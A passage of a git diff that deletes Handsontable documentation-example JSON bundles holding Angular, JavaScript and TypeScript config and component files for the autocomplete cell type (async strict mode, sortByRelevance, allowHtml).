[],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example3-autocomplete-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `\n})\nexport class AppComponent {\n\n readonly data = [\n ['BMW', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n type: 'autocomplete',\n source: (_query: string, process: (items: string[]) => void) => {\n fetch('https://handsontable.com/docs/scripts/json/autocomplete.json')\n .then((response) => response.json())\n .then((response) => process(response.data));\n },\n strict: true,\n },\n {}, // Year is a default text column\n {}, // Chassis color is a default text column\n {}, // Bumper color is a default text column\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/autocomplete-cell-type/angular/example3.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example3","exampleTitle":"Autocomplete strict mode with asynchronous data","docPermalink":"/autocomplete-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example8.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example8.ts.json deleted file mode 100644 index d55e4169..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example8.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Types ▸ Autocomplete cell type · The sortByRelevance option · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example8-autocomplete-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `\n})\nexport class AppComponent {\n readonly statuses = [\n 'Backlog',\n 'In progress',\n 'Blocked',\n 'Done',\n 'Cancelled',\n ];\n\n readonly data = [\n ['Backlog', 'Backlog'],\n ['In progress', 'In progress'],\n ['Blocked', 'Blocked'],\n ['Done', 'Done'],\n ['Cancelled', 'Cancelled'],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n colHeaders: ['Source order (default)', 'Alphabetical order'],\n columns: [\n {\n type: 'autocomplete',\n source: this.statuses,\n strict: false,\n },\n {\n type: 'autocomplete',\n source: this.statuses,\n strict: false,\n // sort suggestions alphabetically instead of using the `source` order\n sortByRelevance: false,\n },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/autocomplete-cell-type/angular/example8.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example8","exampleTitle":"The sortByRelevance option","docPermalink":"/autocomplete-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example9.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example9.ts.json deleted file mode 100644 index 83a19df8..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example9.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Types ▸ Autocomplete cell type · The allowHtml option · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example9-autocomplete-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `\n})\nexport class AppComponent {\n readonly stockStatuses = [\n 'In stock',\n 'Low stock',\n 'Out of stock',\n 'Backordered',\n 'Discontinued',\n ];\n\n readonly data = [\n [this.stockStatuses[0], this.stockStatuses[0]],\n [this.stockStatuses[1], this.stockStatuses[1]],\n [this.stockStatuses[2], this.stockStatuses[2]],\n [this.stockStatuses[3], this.stockStatuses[3]],\n [this.stockStatuses[4], this.stockStatuses[4]],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n colHeaders: ['allowHtml: false (default)', 'allowHtml: true'],\n columns: [\n {\n type: 'autocomplete',\n source: this.stockStatuses,\n strict: false,\n },\n {\n type: 'autocomplete',\n source: this.stockStatuses,\n strict: false,\n // render `source` values as HTML — only use with trusted, static data\n allowHtml: true,\n },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/autocomplete-cell-type/angular/example9.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example9","exampleTitle":"The allowHtml option","docPermalink":"/autocomplete-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example3.js.json deleted file mode 100644 index dac8eac1..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example3.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode with asynchronous data · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['BMW', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n columns: [\n {\n type: 'autocomplete',\n source(_query, process) {\n fetch('/docs/scripts/json/autocomplete.json')\n .then((response) => response.json())\n .then((response) => process(response.data));\n },\n strict: true,\n },\n {},\n {},\n {}, // Bumper color is a default text column\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example3.js","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example3","exampleTitle":"Autocomplete strict mode with asynchronous data","docPermalink":"/autocomplete-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example3.ts.json deleted file mode 100644 index 1869a096..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode with asynchronous data · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['BMW', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n columns: [\n {\n type: 'autocomplete',\n source(_query, process) {\n fetch('/docs/scripts/json/autocomplete.json')\n .then((response) => response.json())\n .then((response) => process(response.data));\n },\n strict: true,\n },\n {}, // Year is a default text column\n {}, // Chassis color is a default text column\n {}, // Bumper color is a default text column\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example3.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example3","exampleTitle":"Autocomplete strict mode with asynchronous data","docPermalink":"/autocomplete-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example8.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example8.js.json deleted file mode 100644 index 83bd95c4..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example8.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Types ▸ Autocomplete cell type · The sortByRelevance option · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst statuses = [\n 'Backlog',\n 'In progress',\n 'Blocked',\n 'Done',\n 'Cancelled',\n];\nconst container = document.querySelector('#example8');\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Backlog', 'Backlog'],\n ['In progress', 'In progress'],\n ['Blocked', 'Blocked'],\n ['Done', 'Done'],\n ['Cancelled', 'Cancelled'],\n ],\n colHeaders: ['Source order (default)', 'Alphabetical order'],\n columns: [\n {\n type: 'autocomplete',\n source: statuses,\n strict: false,\n // sortByRelevance: true is the default — suggestions keep the order from `source`\n },\n {\n type: 'autocomplete',\n source: statuses,\n strict: false,\n // sort suggestions alphabetically instead of using the `source` order\n sortByRelevance: false,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example8.js","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example8","exampleTitle":"The sortByRelevance option","docPermalink":"/autocomplete-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example8.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example8.ts.json deleted file mode 100644 index 350ab7c2..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example8.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Types ▸ Autocomplete cell type · The sortByRelevance option · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst statuses: string[] = [\n 'Backlog',\n 'In progress',\n 'Blocked',\n 'Done',\n 'Cancelled',\n];\n\nconst container = document.querySelector('#example8')!;\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Backlog', 'Backlog'],\n ['In progress', 'In progress'],\n ['Blocked', 'Blocked'],\n ['Done', 'Done'],\n ['Cancelled', 'Cancelled'],\n ],\n colHeaders: ['Source order (default)', 'Alphabetical order'],\n columns: [\n {\n type: 'autocomplete',\n source: statuses,\n strict: false,\n // sortByRelevance: true is the default — suggestions keep the order from `source`\n },\n {\n type: 'autocomplete',\n source: statuses,\n strict: false,\n // sort suggestions alphabetically instead of using the `source` order\n sortByRelevance: false,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example8.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example8","exampleTitle":"The sortByRelevance option","docPermalink":"/autocomplete-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example9.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example9.js.json deleted file mode 100644 index 0377485b..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example9.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Types ▸ Autocomplete cell type · The allowHtml option · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst stockStatuses = [\n 'In stock',\n 'Low stock',\n 'Out of stock',\n 'Backordered',\n 'Discontinued',\n];\nconst container = document.querySelector('#example9');\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n [stockStatuses[0], stockStatuses[0]],\n [stockStatuses[1], stockStatuses[1]],\n [stockStatuses[2], stockStatuses[2]],\n [stockStatuses[3], stockStatuses[3]],\n [stockStatuses[4], stockStatuses[4]],\n ],\n colHeaders: ['allowHtml: false (default)', 'allowHtml: true'],\n columns: [\n {\n type: 'autocomplete',\n source: stockStatuses,\n strict: false,\n // allowHtml: false is the default — HTML tags in `source` are shown as plain text\n },\n {\n type: 'autocomplete',\n source: stockStatuses,\n strict: false,\n // render `source` values as HTML — only use with trusted, static data\n allowHtml: true,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example9.js","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example9","exampleTitle":"The allowHtml option","docPermalink":"/autocomplete-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example9.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example9.ts.json deleted file mode 100644 index 9ead41b2..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example9.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Types ▸ Autocomplete cell type · The allowHtml option · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite 